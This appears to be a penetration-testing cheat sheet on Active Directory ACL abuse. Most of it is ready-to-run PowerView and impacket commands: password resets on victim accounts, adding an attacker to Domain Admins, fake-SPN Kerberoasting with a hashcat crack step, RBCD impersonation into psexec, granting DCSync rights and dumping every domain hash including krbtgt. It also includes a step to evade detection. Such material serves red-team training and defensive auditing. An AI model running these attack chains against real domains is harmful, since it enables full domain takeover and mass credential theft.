AD Attacks

DACL Attacks I — Core ACL Abuse

Active Directory ACL abuse fundamentals: enumerating ACEs with BloodHound and PowerView, exploiting GenericAll/GenericWrite/WriteDACL/WriteOwner/ForceChangePassword/AddMember on users, groups, and computers to chain privilege escalation.

Every AD object has a DACL (Discretionary Access Control List). Misconfigured ACEs give non-admin users powerful rights over privileged objects. BloodHound finds these paths; PowerView executes them.

Discovery

BloodHound (start here)

In BloodHound:

  1. Click your owned user → Outbound Object Control panel
  2. Run pre-built query: Shortest Paths from Owned Principals to Domain Admins
  3. Key edges: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, AddMember, AllExtendedRights, AddKeyCredentialLink, Owns

PowerView — raw ACL enumeration

# Load PowerView
Import-Module .\PowerView.ps1

# Find all ACEs your user has across the domain
$my_sid = (Get-DomainUser -Identity attacker).objectsid
Get-DomainObjectAcl -ResolveGUIDs |
  Where { $_.SecurityIdentifier -eq $my_sid } |
  Select ObjectDN, ActiveDirectoryRights, ObjectAceType

# Find all GenericAll ACEs in domain
Get-DomainObjectAcl -ResolveGUIDs |
  Where { $_.ActiveDirectoryRights -match "GenericAll" } |
  Select ObjectDN, IdentityReference

# Find all WriteDACL ACEs
Get-DomainObjectAcl -ResolveGUIDs |
  Where { $_.ActiveDirectoryRights -match "WriteDacl" } |
  Select ObjectDN, IdentityReference

# Check ACEs on specific object
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs

# Check domain object (for DCSync rights)
Get-DomainObjectAcl -Identity 'DC=corp,DC=local' -ResolveGUIDs |
  Where { $_.ActiveDirectoryRights -match "Replicating|GenericAll|WriteDacl" }
# Linux — dacledit.py (impacket)
dacledit.py corp.local/user:pass -dc-ip DC_IP -action read -target 'Domain Admins'
dacledit.py corp.local/user:pass -dc-ip DC_IP -action read -target-dn 'DC=corp,DC=local'

GenericAll on User

Full control over the user object — change password directly:

# PowerView — change password (no old password required)
Set-DomainUserPassword -Identity victim \
  -AccountPassword (ConvertTo-SecureString 'Pwned123!' -AsPlainText -Force)
# Linux
net rpc password victim 'Pwned123!' -U 'corp.local/attacker%pass' -S DC_IP

After changing the password, authenticate as the victim to continue the chain.


GenericAll on Group

Add yourself (or any user) to the group:

# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
# Verify
Get-DomainGroupMember -Identity 'Domain Admins' | select MemberName
# Linux
net rpc group addmem 'Domain Admins' attacker -U 'corp.local/attacker%pass' -S DC_IP

ForceChangePassword / User-Force-Change-Password

Reset a user’s password without knowing the old one:

# PowerView
Set-DomainUserPassword -Identity victim \
  -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force) -Verbose
# Linux — rpcclient
rpcclient -U 'corp.local/attacker%pass' DC_IP -c 'setuserinfo2 victim 23 NewPass123!'

# Linux — net rpc
net rpc password victim 'NewPass123!' -U 'corp.local/attacker%pass' -S DC_IP

GenericWrite on User — Set SPN → Kerberoast

GenericWrite on a user lets you write specific attributes but not change the password. Set a fake SPN to enable Kerberoasting:

# Set fake SPN
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/host.corp.local'}

# Kerberoast the victim account
Invoke-Kerberoast -Identity victim -OutputFormat Hashcat | Select Hash | Out-File tgs.txt
# Or from Linux:
GetUserSPNs.py corp.local/attacker:pass -dc-ip DC_IP -request -outputfile tgs.txt

# Remove after cracking to reduce detection
Set-DomainObject -Identity victim -Clear serviceprincipalname

Crack with: hashcat -m 13100 tgs.txt rockyou.txt


GenericWrite on Computer — RBCD

Set msDS-AllowedToActOnBehalfOfOtherIdentity on the computer to allow a controlled account to impersonate any user to it:

# 1. Create a fake computer account
addcomputer.py -computer-name 'EVILPC$' -computer-pass 'EvilPass123!' \
  corp.local/attacker:pass -dc-ip DC_IP

# 2. Set RBCD attribute on target computer (using GenericWrite)
rbcd.py -delegate-from 'EVILPC$' -delegate-to 'TARGET$' -action write \
  corp.local/attacker:pass -dc-ip DC_IP

# 3. Request impersonation ticket
getST.py -spn cifs/TARGET.corp.local -impersonate Administrator \
  -dc-ip DC_IP corp.local/'EVILPC$:EvilPass123!'
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@TARGET.corp.local

WriteDACL on Object

Modify the DACL of an object to grant yourself GenericAll:

# Grant yourself full control on a group
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All

# Grant DCSync rights on the domain object
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity attacker -Rights DCSync
# Linux — dacledit.py
dacledit.py corp.local/attacker:pass -dc-ip DC_IP \
  -action write -rights FullControl -principal attacker -target 'Domain Admins'

# Grant DCSync
dacledit.py corp.local/attacker:pass -dc-ip DC_IP \
  -action write -rights DCSync -principal attacker -target-dn 'DC=corp,DC=local'

After granting rights, execute the follow-on attack (join group, change password, DCSync).


WriteOwner → Take Ownership → WriteDACL → GenericAll

# 1. Take ownership of the target (WriteOwner)
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity attacker

# 2. Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights WriteDACL

# 3. Grant GenericAll using WriteDACL
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All

# 4. Now add yourself
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker

AllExtendedRights

AllExtendedRights includes ForceChangePassword, Replicating Directory Changes, and more:

# Check what AllExtendedRights lets you do on the object
Get-DomainObjectAcl -Identity target -ResolveGUIDs |
  Where { $_.ActiveDirectoryRights -match "ExtendedRight" } |
  Select ActiveDirectoryRights, ObjectAceType, IdentityReference

# If on domain object → DCSync
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity attacker -Rights DCSync

# If on a user → ForceChangePassword
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString 'Pass123!' -AsPlainText -Force)

DCSync (after granting rights)

Once you have DS-Replication-Get-Changes + DS-Replication-Get-Changes-All on the domain object:

# Dump all hashes
secretsdump.py corp.local/attacker:pass@DC_IP -just-dc-ntlm

# Dump krbtgt (for Golden Ticket)
secretsdump.py corp.local/attacker:pass@DC_IP -just-dc-user krbtgt

Cleanup

Remove ACEs you added after the engagement:

Remove-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity attacker -Rights All
Remove-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' -PrincipalIdentity attacker -Rights DCSync
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'Domain Admins'